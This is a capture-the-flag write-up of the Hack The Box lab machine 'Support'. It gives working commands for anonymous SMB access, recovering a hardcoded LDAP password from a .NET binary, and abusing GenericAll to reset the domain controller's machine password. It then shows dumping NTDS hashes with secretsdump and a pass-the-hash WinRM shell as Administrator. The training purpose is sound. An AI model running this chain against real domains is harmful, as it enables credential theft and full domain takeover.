HTB • Support
Support is an easy-difficulty machine created by 0xdf on Hack The Box featuring a domain controller that allows anonymous authentication on its SMB server which hosts a program that contains the password for the user ldap. This user is then used to dump accessible Active Directory objects, where we find an LDAP attribute for the user support which holds that user’s password. It turns out, support has full access over the domain controller machine account, which is abused to change the password for that account and dump the NTDS secrets. The administrator’s hash from the secrets is then used with WinRM to get a shell as Administrator
Reconnaissance
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost
Some services mentioned in the scan results are 53/DNS, 88/Kerberos, and 389/LDAP. The presence of these ports together indicates that this machine is likely an Active Directory domain controller.
SMB
The first port that we’ll enumerate is going to be SMB just because many SMB servers allow anonymous access.
Anonymous Access
Let’s try to use anonymous authentication to list available shares.
1
smbclient -N -L "//$rhost"
Using anonymous authentication, we are able to get a list of shares including one unusual share named support-tools. Let’s try to connect to this share and possibly download the contents.
1
2
mkdir "support-tools" && cd "support-tools"
smbclient -N "//$rhost/support-tools" -c 'recurse;prompt;mget *;exit'
Once the contents are downloaded, we notice that one file called UserInfo.exe.zip
that stands out because it is not named like a known tool. Every other file seems to be related to known tools like Wireshark, PuTTY, SysInternals, etc.
UserInfo Project
Let’s try to unzip UserInfo.exe.zip
.
1
2
3
file="./UserInfo.exe.zip"
unzip -l "$file"
unzip "$file"
The project has a central executable called UserInfo.exe
. Let’s find out what it does.
Reversing
A good practice in reverse engineering is to conduct strict static analysis, then if it is inconclusive, jump to dynamic analysis. Let’s try this both ways as a learning opportunity.
Static Analysis
We will be using the cross-platform version of ILSpy on Linux to decompile the program. You can find the compiled release that suits your OS on the releases page. To analyze the UserInfo.exe
executable, we must first copy it to the artifacts/linux-x64
folder. Once that is done we can simply run the following.
1
./ILSpy UserInfo.exe
ILSpy successfully decompiles the UserInfo.exe assembly
Looking at the UserInfo.Services namespace in the decompiled program, a few details jump out:
- The Protected.getPassword method takes enc_password, transforms it, and returns the result.
- The LdapQuery class takes the return value of
Protected.getPassword()
and uses it as a password to perform LDAP authentication as the user support\ldap.
This means that Protected.getPassword method returns a value that is used as a password for the domain user ldap. Let’s see if we could simulate the transformation of enc_password that takes place in this method using CyberChef.
CyberChef
Protected.getPassword performs three main operations to get its return value:
- enc_password is base64-decoded
- The result is XOR encrypted with the UTF-8 key “armando”
- The result is XOR encrypted with the hex key 0xDF
When we perform the same operations on the initial string stored in the enc_password variable with CyberChef, we are able to recover the password.
We successfully recover the plaintext password
LDAP
Let’s use ldapsearch to find any domain names expected by the server.
1
2
3
4
5
6
ldapsearch -x \
-H "ldap://$rhost" \
-s "base" \
-b "" \
"(objectClass=*)" \
"rootDomainNamingContext"
The root naming context seems to be DC=support,DC=htb
, meaning the domain name would be support.htb.
Sensitive Attributes
Now we will use a tool called go-windapsearch with the credentials we discovered to dump the user objects in JSON format. We can either download the standalone off the releases page or build it from source. The reason we are doing this is because there are sometimes attributes that hold sensitive information like passwords, hashes, etc.
1
2
3
4
5
6
7
8
9
echo 'domain="support.htb"' >> .env && . ./.env # add domain to .env
ldap_password='' # Password we found for ldap user
windapsearch -j \
-d "$domain" \
-u "ldap" \
-p "$ldap_password" \
-m "users" \
--attrs "*" \
-o ./users.json
Sure enough, the credentials are valid and we successfully gather the user objects into a new file called users.json
. Then we’ll begin to process the data and look for any values that spark our interest using jq and some classic GNU utilities.
1
2
3
4
5
6
jq -r '..|strings' ./users.json |
sort -u |
awk '{print length,$0}' |
sort -n |
sed 's/[^ ]* //' |
tee ./temp.txt
This should get us every string value written to temp.txt
with no duplicates. The file contains a lot of SIDs, UUIDs, Dates, and other strings that are of little interest to us, but it also has one string on line 164 that has the structure of a password.
1
cat -n ./temp.txt | more
We find which object and key the value is assigned to using the jq
command once again.
1
jq ".[]|select(..==\"$suspectedPassword\")" ./users.json
The string seems to be assigned to the info attribute of the user support. Could this be the password for this user?
1
2
echo "$suspectedPassword" |
smbclient -U "support" -L "//$rhost"
I guess so! Let’s save those credentials and move on with some domain enumeration.
Domain Enumeration
We’ll be using BloodHound.py to collect the domain information, and BloodHound to graph it.
BloodHound.py
We almost always should use the -c All,LoggedOn
option when running bloodhound-python
. The absence of that has caused me a lot of headache in the past.
1
2
3
4
5
6
bloodhound-python --zip \
-ns "$rhost" \
-d "$domain" \
-u "ldap" \
-p "$ldap_password" \
-c "All,LoggedOn"
This should get us a new archive that we’ll upload to BloodHound.
BloodHound
Once we clean up the database and upload our archive via the upload button on the top right, we can begin to explore this domain. We’ll check for any dangerous rights for our two owned users, ldap and support.
Support User Object
The user support is part of Two groups of interest:
- Remote Management Users
- Shared Support Accounts
The Remote Management Users group is pretty standard in Active Directory. To an attacker, it means that we can probably get a shell via WinRM. The Shared Support Accounts group however, is likely a custom group. In the real world, new AD security groups are often created to control and organize privileges, so it would make sense if this group had some sort of non-standard privilege.
We find out that the “Shared Support Accounts” group has special privileges
Sure enough, the group has the GenericAll right over the domain controller machine account.
Domain Takeover
Since we have the GenericAll privilege over the domain controller machine account, we can change the password using addcomputer.py
from impacket.
1
2
3
4
5
6
7
new_pass="$(openssl rand -base64 16)"
addcomputer.py \
-no-add \
-computer-name "DC$" \
-computer-pass "$new_pass" \
-dc-ip $rhost \
"support.htb/support":"$support_pass"
Dumping the Secrets
Now we’ll use the new password to dump the NTDS secrets with secretsdump.py
from impacket.
1
2
3
4
secretsdump.py \
-just-dc \
-outputfile secrets \
'support.htb/DC$':"$new_pass"@"$rhost"
Then we can get a shell as Administrator using the corresponding NT hash from the dump with Evil-WinRM.
1
evil-winrm -u "Administrator" -H $administrator_nt
We then find and submit the user flag at C:\Users\support\Desktop\user.txt
and the root flag at C:\Users\Administrator\Desktop\root.txt
.